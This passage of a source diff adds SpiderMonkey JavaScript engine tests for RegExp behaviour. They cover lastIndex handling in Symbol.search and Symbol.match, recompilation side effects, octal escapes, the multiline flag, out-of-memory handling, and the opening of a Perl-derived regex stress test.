+ { regExp: /a/, lastIndex: 0, input: "a" },
+ { regExp: /a/g, lastIndex: 0, input: "a" },
+ { regExp: /a/y, lastIndex: 0, input: "a" },
+
+ { regExp: /a/, lastIndex: 0, input: "b" },
+ { regExp: /a/g, lastIndex: 0, input: "b" },
+ { regExp: /a/y, lastIndex: 0, input: "b" },
+];
+
+const testCases = [...testCasesNotPositiveZero, ...testCasesPositiveZero];
+
+for (let Constructor of [RegExp, DuckRegExp]) {
+ // Basic test.
+ for (let {regExp, lastIndex, input} of testCases) {
+ let re = new Constructor(regExp);
+ re.lastIndex = lastIndex;
+ re[Symbol.search](input);
+ assertEq(re.lastIndex, lastIndex);
+ }
+
+ // Test when lastIndex is non-writable and not positive zero.
+ for (let {regExp, lastIndex, input} of testCasesNotPositiveZero) {
+ let re = new Constructor(regExp);
+ Object.defineProperty(re, "lastIndex", { value: lastIndex, writable: false });
+ assertThrowsInstanceOf(() => re[Symbol.search](input), TypeError);
+ assertEq(re.lastIndex, lastIndex);
+ }
+
+ // Test when lastIndex is non-writable and positive zero.
+ for (let {regExp, lastIndex, input} of testCasesPositiveZero) {
+ let re = new Constructor(regExp);
+ Object.defineProperty(re, "lastIndex", { value: lastIndex, writable: false });
+ if (re.global || re.sticky) {
+ assertThrowsInstanceOf(() => re[Symbol.search](input), TypeError);
+ } else {
+ re[Symbol.search](input);
+ }
+ assertEq(re.lastIndex, lastIndex);
+ }
+
+ // Test lastIndex isn't converted to a number.
+ for (let {regExp, lastIndex, input} of testCases) {
+ let re = new RegExp(regExp);
+ let badIndex = {
+ valueOf() {
+ assertEq(false, true);
+ }
+ };
+ re.lastIndex = badIndex;
+ re[Symbol.search](input);
+ assertEq(re.lastIndex, badIndex);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/match-local-tolength-recompilation.js b/js/src/tests/non262/RegExp/match-local-tolength-recompilation.js
new file mode 100644
index 0000000000..9a992f81f4
--- /dev/null
+++ b/js/src/tests/non262/RegExp/match-local-tolength-recompilation.js
@@ -0,0 +1,75 @@
+// Side-effects when calling ToLength(regExp.lastIndex) in
+// RegExp.prototype[@@match] for non-global RegExp can recompile the RegExp.
+
+for (var flag of ["", "y"]) {
+ var regExp = new RegExp("a", flag);
+
+ regExp.lastIndex = {
+ valueOf() {
+ regExp.compile("b");
+ return 0;
+ }
+ };
+
+ var result = regExp[Symbol.match]("b");
+ assertEq(result !== null, true);
+}
+
+// Recompilation modifies flag:
+// Case 1: Adds global flag, validate by checking lastIndex.
+var regExp = new RegExp("a", "");
+regExp.lastIndex = {
+ valueOf() {
+ // |regExp| is now in global mode, RegExpBuiltinExec should update the
+ // lastIndex property to reflect last match.
+ regExp.compile("a", "g");
+ return 0;
+ }
+};
+regExp[Symbol.match]("a");
+assertEq(regExp.lastIndex, 1);
+
+// Case 2: Removes sticky flag with match, validate by checking lastIndex.
+var regExp = new RegExp("a", "y");
+regExp.lastIndex = {
+ valueOf() {
+ // |regExp| is no longer sticky, RegExpBuiltinExec shouldn't modify the
+ // lastIndex property.
+ regExp.compile("a", "");
+ regExp.lastIndex = 9000;
+ return 0;
+ }
+};
+regExp[Symbol.match]("a");
+assertEq(regExp.lastIndex, 9000);
+
+// Case 3.a: Removes sticky flag without match, validate by checking lastIndex.
+var regExp = new RegExp("a", "y");
+regExp.lastIndex = {
+ valueOf() {
+ // |regExp| is no longer sticky, RegExpBuiltinExec shouldn't modify the
+ // lastIndex property.
+ regExp.compile("b", "");
+ regExp.lastIndex = 9001;
+ return 0;
+ }
+};
+regExp[Symbol.match]("a");
+assertEq(regExp.lastIndex, 9001);
+
+// Case 3.b: Removes sticky flag without match, validate by checking lastIndex.
+var regExp = new RegExp("a", "y");
+regExp.lastIndex = {
+ valueOf() {
+ // |regExp| is no longer sticky, RegExpBuiltinExec shouldn't modify the
+ // lastIndex property.
+ regExp.compile("b", "");
+ regExp.lastIndex = 9002;
+ return 10000;
+ }
+};
+regExp[Symbol.match]("a");
+assertEq(regExp.lastIndex, 9002);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/match-this.js b/js/src/tests/non262/RegExp/match-this.js
new file mode 100644
index 0000000000..ee05462f26
--- /dev/null
+++ b/js/src/tests/non262/RegExp/match-this.js
@@ -0,0 +1,12 @@
+var BUGNUMBER = 887016;
+var summary = "RegExp.prototype[@@match] should check this value.";
+
+print(BUGNUMBER + ": " + summary);
+
+for (var v of [null, 1, true, undefined, "", Symbol.iterator]) {
+ assertThrowsInstanceOf(() => RegExp.prototype[Symbol.match].call(v),
+ TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/match-trace.js b/js/src/tests/non262/RegExp/match-trace.js
new file mode 100644
index 0000000000..507d3f661a
--- /dev/null
+++ b/js/src/tests/non262/RegExp/match-trace.js
@@ -0,0 +1,142 @@
+var BUGNUMBER = 887016;
+var summary = "Trace RegExp.prototype[@@match] behavior.";
+
+print(BUGNUMBER + ": " + summary);
+
+var n;
+var log;
+var target;
+var global;
+var unicode;
+var logProxy;
+
+var execResult;
+var lastIndexResult;
+var lastIndexExpected;
+
+function P(A) {
+ return new Proxy(A, {
+ get(that, name) {
+ if (logProxy)
+ log += "get:result[" + name + "],";
+ return that[name];
+ }
+ });
+}
+
+var myRegExp = {
+ get flags() {
+ log += "get:flags,";
+ var flags = "";
+ if (global) flags += "g";
+ if (unicode) flags += "u";
+ return flags;
+ },
+ get lastIndex() {
+ log += "get:lastIndex,";
+ return lastIndexResult[n];
+ },
+ set lastIndex(v) {
+ log += "set:lastIndex,";
+ assertEq(v, lastIndexExpected[n]);
+ },
+ get exec() {
+ log += "get:exec,";
+ return function(S) {
+ log += "call:exec,";
+ assertEq(S, target);
+ return execResult[n++];
+ };
+ },
+};
+
+function reset() {
+ n = 0;
+ log = "";
+ target = "abcAbcABC";
+ global = true;
+ unicode = false;
+ logProxy = true;
+}
+
+// Trace global with non-empty match.
+reset();
+execResult = [ P(["abc"]), P(["ABC"]), null ];
+lastIndexResult = [ , , , ];
+lastIndexExpected = [ 0, , , ];
+var ret = RegExp.prototype[Symbol.match].call(myRegExp, target);
+assertEq(JSON.stringify(ret), `["abc","ABC"]`);
+assertEq(log,
+ "get:flags," +
+ "set:lastIndex," +
+ "get:exec,call:exec,get:result[0]," +
+ "get:exec,call:exec,get:result[0]," +
+ "get:exec,call:exec,");
+
+// Trace global with empty match.
+reset();
+execResult = [ P([""]), P([""]), null ];
+lastIndexResult = [ , 4, 20, ];
+lastIndexExpected = [ 0, 5, 21, ];
+ret = RegExp.prototype[Symbol.match].call(myRegExp, target);
+assertEq(JSON.stringify(ret), `["",""]`);
+assertEq(log,
+ "get:flags," +
+ "set:lastIndex," +
+ "get:exec,call:exec,get:result[0],get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec,get:result[0],get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec,");
+
+// Trace global and unicode with empty match.
+// 1. not surrogate pair
+// 2. lead surrogate pair
+// 3. trail surrogate pair
+// 4. lead surrogate pair without trail surrogate pair
+// 5. index overflow
+reset();
+unicode = true;
+// 0123 4 5678
+target = "___\uD83D\uDC38___\uD83D";
+execResult = [ P([""]), P([""]), P([""]), P([""]), P([""]), null ];
+lastIndexResult = [ , 2, 3, 4, 8, 9, ];
+lastIndexExpected = [ 0, 3, 5, 5, 9, 10, ];
+ret = RegExp.prototype[Symbol.match].call(myRegExp, target);
+assertEq(JSON.stringify(ret), `["","","","",""]`);
+assertEq(log,
+ "get:flags," +
+ "set:lastIndex," +
+ "get:exec,call:exec,get:result[0],get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec,get:result[0],get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec,get:result[0],get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec,get:result[0],get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec,get:result[0],get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec,");
+
+// Trace global with no match.
+reset();
+execResult = [ null ];
+lastIndexResult = [ , ];
+lastIndexExpected = [ 0, ];
+ret = RegExp.prototype[Symbol.match].call(myRegExp, target);
+assertEq(ret, null);
+assertEq(log,
+ "get:flags," +
+ "set:lastIndex," +
+ "get:exec,call:exec,");
+
+// Trace non-global.
+reset();
+global = false;
+execResult = [ P(["abc"]) ];
+lastIndexResult = [];
+lastIndexExpected = [];
+ret = RegExp.prototype[Symbol.match].call(myRegExp, target);
+// ret is the Proxy on non-global case, disable logging.
+logProxy = false;
+assertEq(JSON.stringify(ret), `["abc"]`);
+assertEq(log,
+ "get:flags," +
+ "get:exec,call:exec,");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/match.js b/js/src/tests/non262/RegExp/match.js
new file mode 100644
index 0000000000..06308b2d67
--- /dev/null
+++ b/js/src/tests/non262/RegExp/match.js
@@ -0,0 +1,36 @@
+var BUGNUMBER = 887016;
+var summary = "Implement RegExp.prototype[@@match].";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(RegExp.prototype[Symbol.match].name, "[Symbol.match]");
+assertEq(RegExp.prototype[Symbol.match].length, 1);
+var desc = Object.getOwnPropertyDescriptor(RegExp.prototype, Symbol.match);
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, true);
+
+var re = /a/;
+var v = re[Symbol.match]("abcAbcABC");
+assertEq(Array.isArray(v), true);
+assertEq(v.length, 1);
+assertEq(v[0], "a");
+
+re = /d/;
+v = re[Symbol.match]("abcAbcABC");
+assertEq(v, null);
+
+re = /a/ig;
+v = re[Symbol.match]("abcAbcABC");
+assertEq(Array.isArray(v), true);
+assertEq(v.length, 3);
+assertEq(v[0], "a");
+assertEq(v[1], "A");
+assertEq(v[2], "A");
+
+re = /d/g;
+v = re[Symbol.match]("abcAbcABC");
+assertEq(v, null);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/multiline-001.js b/js/src/tests/non262/RegExp/multiline-001.js
new file mode 100644
index 0000000000..43614d91e7
--- /dev/null
+++ b/js/src/tests/non262/RegExp/multiline-001.js
@@ -0,0 +1,67 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: RegExp/multiline-001.js
+ * ECMA Section:
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ *
+ * Date: 19 February 1999
+ */
+
+var SECTION = "RegExp/multiline-001";
+var TITLE = "RegExp: multiline flag";
+var BUGNUMBER="343901";
+
+printBugNumber(BUGNUMBER);
+
+var woodpeckers = "ivory-billed\ndowny\nhairy\nacorn\nyellow-bellied sapsucker\n" +
+ "northern flicker\npileated\n";
+
+AddRegExpCases( /.*[y]$/m, woodpeckers, woodpeckers.indexOf("downy"), ["downy"] );
+
+AddRegExpCases( /.*[d]$/m, woodpeckers, woodpeckers.indexOf("ivory-billed"), ["ivory-billed"] );
+
+test();
+
+
+function AddRegExpCases
+( regexp, pattern, index, matches_array ) {
+
+ // prevent a runtime error
+
+ if ( regexp.exec(pattern) == null || matches_array == null ) {
+ AddTestCase(
+ regexp + ".exec(" + pattern +")",
+ matches_array,
+ regexp.exec(pattern) );
+
+ return;
+ }
+
+ AddTestCase(
+ regexp.toString() + ".exec(" + pattern +").length",
+ matches_array.length,
+ regexp.exec(pattern).length );
+
+ AddTestCase(
+ regexp.toString() + ".exec(" + pattern +").index",
+ index,
+ regexp.exec(pattern).index );
+
+ AddTestCase(
+ regexp + ".exec(" + pattern +").input",
+ pattern,
+ regexp.exec(pattern).input );
+
+
+ for ( var matches = 0; matches < matches_array.length; matches++ ) {
+ AddTestCase(
+ regexp + ".exec(" + pattern +")[" + matches +"]",
+ matches_array[matches],
+ regexp.exec(pattern)[matches] );
+ }
+}
diff --git a/js/src/tests/non262/RegExp/octal-001.js b/js/src/tests/non262/RegExp/octal-001.js
new file mode 100644
index 0000000000..cde12d807d
--- /dev/null
+++ b/js/src/tests/non262/RegExp/octal-001.js
@@ -0,0 +1,77 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: RegExp/octal-001.js
+ * ECMA Section: 15.7.1
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ * Simple test cases for matching OctalEscapeSequences.
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+var SECTION = "RegExp/octal-001.js";
+var TITLE = "RegExp patterns that contain OctalEscapeSequences";
+var BUGNUMBER="http://scopus/bugsplat/show_bug.cgi?id=346196";
+
+printBugNumber(BUGNUMBER);
+
+
+// backreference
+AddRegExpCases(
+ /(.)\1/,
+ "/(.)\\1/",
+ "HI!!",
+ "HI!",
+ 2,
+ ["!!", "!"] );
+
+test();
+
+function AddRegExpCases(
+ regexp, str_regexp, pattern, str_pattern, index, matches_array ) {
+
+ // prevent a runtime error
+
+ if ( regexp.exec(pattern) == null || matches_array == null ) {
+ AddTestCase(
+ regexp + ".exec(" + str_pattern +")",
+ matches_array,
+ regexp.exec(pattern) );
+
+ return;
+ }
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").length",
+ matches_array.length,
+ regexp.exec(pattern).length );
+
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").index",
+ index,
+ regexp.exec(pattern).index );
+
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").input",
+ pattern,
+ regexp.exec(pattern).input );
+
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").toString()",
+ matches_array.toString(),
+ regexp.exec(pattern).toString() );
+/*
+ var limit = matches_array.length > regexp.exec(pattern).length
+ ? matches_array.length
+ : regexp.exec(pattern).length;
+
+ for ( var matches = 0; matches < limit; matches++ ) {
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +")[" + matches +"]",
+ matches_array[matches],
+ regexp.exec(pattern)[matches] );
+ }
+*/
+}
diff --git a/js/src/tests/non262/RegExp/octal-002.js b/js/src/tests/non262/RegExp/octal-002.js
new file mode 100644
index 0000000000..6761d4ae6d
--- /dev/null
+++ b/js/src/tests/non262/RegExp/octal-002.js
@@ -0,0 +1,92 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: RegExp/octal-002.js
+ * ECMA Section: 15.7.1
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ * Simple test cases for matching OctalEscapeSequences.
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+var SECTION = "RegExp/octal-002.js";
+var TITLE = "RegExp patterns that contain OctalEscapeSequences";
+var BUGNUMBER="http://scopus/bugsplat/show_bug.cgi?id=346189";
+
+printBugNumber(BUGNUMBER);
+
+// backreference
+AddRegExpCases(
+ /(.)(.)(.)(.)(.)(.)(.)(.)\8/,
+ "/(.)(.)(.)(.)(.)(.)(.)(.)\\8",
+ "aabbccaaabbbccc",
+ "aabbccaaabbbccc",
+ 0,
+ ["aabbccaaa", "a", "a", "b", "b", "c", "c", "a", "a"] );
+
+AddRegExpCases(
+ /(.)(.)(.)(.)(.)(.)(.)(.)(.)\9/,
+ "/(.)(.)(.)(.)(.)(.)(.)(.)\\9",
+ "aabbccaabbcc",
+ "aabbccaabbcc",
+ 0,
+ ["aabbccaabb", "a", "a", "b", "b", "c", "c", "a", "a", "b"] );
+
+AddRegExpCases(
+ /(.)(.)(.)(.)(.)(.)(.)(.)(.)\8/,
+ "/(.)(.)(.)(.)(.)(.)(.)(.)(.)\\8",
+ "aabbccaababcc",
+ "aabbccaababcc",
+ 0,
+ ["aabbccaaba", "a", "a", "b", "b", "c", "c", "a", "a", "b"] );
+
+test();
+
+function AddRegExpCases(
+ regexp, str_regexp, pattern, str_pattern, index, matches_array ) {
+
+ // prevent a runtime error
+
+ if ( regexp.exec(pattern) == null || matches_array == null ) {
+ AddTestCase(
+ regexp + ".exec(" + str_pattern +")",
+ matches_array,
+ regexp.exec(pattern) );
+
+ return;
+ }
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").length",
+ matches_array.length,
+ regexp.exec(pattern).length );
+
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").index",
+ index,
+ regexp.exec(pattern).index );
+
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").input",
+ pattern,
+ regexp.exec(pattern).input );
+
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").toString()",
+ matches_array.toString(),
+ regexp.exec(pattern).toString() );
+/*
+ var limit = matches_array.length > regexp.exec(pattern).length
+ ? matches_array.length
+ : regexp.exec(pattern).length;
+
+ for ( var matches = 0; matches < limit; matches++ ) {
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +")[" + matches +"]",
+ matches_array[matches],
+ regexp.exec(pattern)[matches] );
+ }
+*/
+}
diff --git a/js/src/tests/non262/RegExp/octal-003.js b/js/src/tests/non262/RegExp/octal-003.js
new file mode 100644
index 0000000000..58052b2c25
--- /dev/null
+++ b/js/src/tests/non262/RegExp/octal-003.js
@@ -0,0 +1,86 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: RegExp/octal-003.js
+ * ECMA Section: 15.7.1
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ * Simple test cases for matching OctalEscapeSequences.
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ *
+ * Revised: 02 August 2002
+ * Author: pschwartau@netscape.com
+ *
+ * WHY: the original test expected the regexp /.\011/
+ * to match 'a' + String.fromCharCode(0) + '11'
+ *
+ * This is incorrect: the string is a 4-character string consisting of
+ * the characters <'a'>, <nul>, <'1'>, <'1'>. By contrast, the \011 in the
+ * regexp should be parsed as a single token: it is the octal escape sequence
+ * for the horizontal tab character '\t' === '\u0009' === '\x09' === '\011'.
+ *
+ * So the regexp consists of 2 characters: <any-character>, <'\t'>.
+ * There is no match between the regexp and the string.
+ *
+ * See the testcase non262/RegExp/octal-002.js for an elaboration.
+ *
+ */
+var SECTION = "RegExp/octal-003.js";
+var TITLE = "RegExp patterns that contain OctalEscapeSequences";
+var BUGNUMBER="http://scopus/bugsplat/show_bug.cgi?id=346132";
+
+printBugNumber(BUGNUMBER);
+
+AddRegExpCases( /.\011/, "/\\011/", "a" + String.fromCharCode(0) + "11", "a\\011", 0, null );
+
+test();
+
+function AddRegExpCases(
+ regexp, str_regexp, pattern, str_pattern, index, matches_array ) {
+
+ // prevent a runtime error
+
+ if ( regexp.exec(pattern) == null || matches_array == null ) {
+ AddTestCase(
+ regexp + ".exec(" + str_pattern +")",
+ matches_array,
+ regexp.exec(pattern) );
+
+ return;
+ }
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").length",
+ matches_array.length,
+ regexp.exec(pattern).length );
+
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").index",
+ index,
+ regexp.exec(pattern).index );
+
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").input",
+ escape(pattern),
+ escape(regexp.exec(pattern).input) );
+
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").toString()",
+ matches_array.toString(),
+ escape(regexp.exec(pattern).toString()) );
+
+ var limit = matches_array.length > regexp.exec(pattern).length
+ ? matches_array.length
+ : regexp.exec(pattern).length;
+
+ for ( var matches = 0; matches < limit; matches++ ) {
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +")[" + matches +"]",
+ matches_array[matches],
+ escape(regexp.exec(pattern)[matches]) );
+ }
+
+}
diff --git a/js/src/tests/non262/RegExp/oom-in-construction.js b/js/src/tests/non262/RegExp/oom-in-construction.js
new file mode 100644
index 0000000000..f09cca81b1
--- /dev/null
+++ b/js/src/tests/non262/RegExp/oom-in-construction.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty("oomTest"))
+var BUGNUMBER = 1471371;
+var summary = 'Handle OOM in RegExp';
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+oomTest(function () {
+ for (var i = 0; i < 10; ++i) {
+ try {
+ RegExp("", "gimuyz");
+ } catch { }
+ }
+});
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/perlstress-001.js b/js/src/tests/non262/RegExp/perlstress-001.js
new file mode 100644
index 0000000000..c073a8f733
--- /dev/null
+++ b/js/src/tests/non262/RegExp/perlstress-001.js
@@ -0,0 +1,3194 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 2002-07-07
+ * SUMMARY: Testing JS RegExp engine against Perl 5 RegExp engine.
+ * Adjust cnLBOUND, cnUBOUND below to restrict which sections are tested.
+ *
+ * This test was created by running various patterns and strings through the
+ * Perl 5 RegExp engine. We saved the results below to test the JS engine.
+ *
+ * NOTE: ECMA/JS and Perl do differ on certain points. We have either commented
+ * out such sections altogether, or modified them to fit what we expect from JS.
+ *
+ * EXAMPLES:
+ *
+ * - In JS, regexp captures (/(a) etc./) must hold |undefined| if not used.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=123437.
+ * By contrast, in Perl, unmatched captures hold the empty string.
+ * We have modified such sections accordingly. Example:
+
+ pattern = /^([^a-z])|(\^)$/;
+ string = '.';
+ actualmatch = string.match(pattern);
+ //expectedmatch = Array('.', '.', ''); <<<--- Perl
+ expectedmatch = Array('.', '.', undefined); <<<--- JS
+ addThis();
+
+
+ * - In JS, you can't refer to a capture before it's encountered & completed
+ *
+ * - Perl supports ] & ^] inside a [], ECMA does not
+ *
+ * - ECMA does support (?: (?= and (?! operators, but doesn't support (?< etc.
+ *
+ * - ECMA doesn't support (?imsx or (?-imsx
+ *
+ * - ECMA doesn't support (?(condition)
+ *
+ * - Perl has \Z has end-of-line, ECMA doesn't
+ *
+ * - In ECMA, ^ matches only the empty string before the first character
+ *
+ * - In ECMA, $ matches only the empty string at end of input (unless multiline)
+ *
+ * - ECMA spec says that each atom in a range must be a single character
+ *
+ * - ECMA doesn't support \A
+ *
+ * - ECMA doesn't have rules for [:
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 85721;
+var summary = 'Testing regular expression edge cases';
+var cnSingleSpace = ' ';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+var cnLBOUND = 1;
+var cnUBOUND = 1000;
+
+
+status = inSection(1);
+pattern = /abc/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(2);
+pattern = /abc/;
+string = 'xabcy';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(3);
+pattern = /abc/;
+string = 'ababc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(4);
+pattern = /ab*c/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(5);
+pattern = /ab*bc/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(6);
+pattern = /ab*bc/;
+string = 'abbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbc');
+addThis();
+
+status = inSection(7);
+pattern = /ab*bc/;
+string = 'abbbbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbbbc');
+addThis();
+
+status = inSection(8);
+pattern = /.{1}/;
+string = 'abbbbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+status = inSection(9);
+pattern = /.{3,4}/;
+string = 'abbbbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbb');
+addThis();
+
+status = inSection(10);
+pattern = /ab{0,}bc/;
+string = 'abbbbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbbbc');
+addThis();
+
+status = inSection(11);
+pattern = /ab+bc/;
+string = 'abbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbc');
+addThis();
+
+status = inSection(12);
+pattern = /ab+bc/;
+string = 'abbbbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbbbc');
+addThis();
+
+status = inSection(13);
+pattern = /ab{1,}bc/;
+string = 'abbbbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbbbc');
+addThis();
+
+status = inSection(14);
+pattern = /ab{1,3}bc/;
+string = 'abbbbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbbbc');
+addThis();
+
+status = inSection(15);
+pattern = /ab{3,4}bc/;
+string = 'abbbbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbbbc');
+addThis();
+
+status = inSection(16);
+pattern = /ab?bc/;
+string = 'abbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbc');
+addThis();
+
+status = inSection(17);
+pattern = /ab?bc/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(18);
+pattern = /ab{0,1}bc/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(19);
+pattern = /ab?c/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(20);
+pattern = /ab{0,1}c/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(21);
+pattern = /^abc$/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(22);
+pattern = /^abc/;
+string = 'abcc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(23);
+pattern = /abc$/;
+string = 'aabc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(24);
+pattern = /^/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('');
+addThis();
+
+status = inSection(25);
+pattern = /$/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('');
+addThis();
+
+status = inSection(26);
+pattern = /a.c/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(27);
+pattern = /a.c/;
+string = 'axc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('axc');
+addThis();
+
+status = inSection(28);
+pattern = /a.*c/;
+string = 'axyzc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('axyzc');
+addThis();
+
+status = inSection(29);
+pattern = /a[bc]d/;
+string = 'abd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abd');
+addThis();
+
+status = inSection(30);
+pattern = /a[b-d]e/;
+string = 'ace';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ace');
+addThis();
+
+status = inSection(31);
+pattern = /a[b-d]/;
+string = 'aac';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ac');
+addThis();
+
+status = inSection(32);
+pattern = /a[-b]/;
+string = 'a-';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a-');
+addThis();
+
+status = inSection(33);
+pattern = /a[b-]/;
+string = 'a-';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a-');
+addThis();
+
+status = inSection(34);
+pattern = /a]/;
+string = 'a]';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a]');
+addThis();
+
+/* Perl supports ] & ^] inside a [], ECMA does not
+ pattern = /a[]]b/;
+ status = inSection(35);
+ string = 'a]b';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a]b');
+ addThis();
+*/
+
+status = inSection(36);
+pattern = /a[^bc]d/;
+string = 'aed';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aed');
+addThis();
+
+status = inSection(37);
+pattern = /a[^-b]c/;
+string = 'adc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('adc');
+addThis();
+
+/* Perl supports ] & ^] inside a [], ECMA does not
+ status = inSection(38);
+ pattern = /a[^]b]c/;
+ string = 'adc';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('adc');
+ addThis();
+*/
+
+status = inSection(39);
+pattern = /\ba\b/;
+string = 'a-';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+status = inSection(40);
+pattern = /\ba\b/;
+string = '-a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+status = inSection(41);
+pattern = /\ba\b/;
+string = '-a-';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+status = inSection(42);
+pattern = /\By\b/;
+string = 'xy';
+actualmatch = string.match(pattern);
+expectedmatch = Array('y');
+addThis();
+
+status = inSection(43);
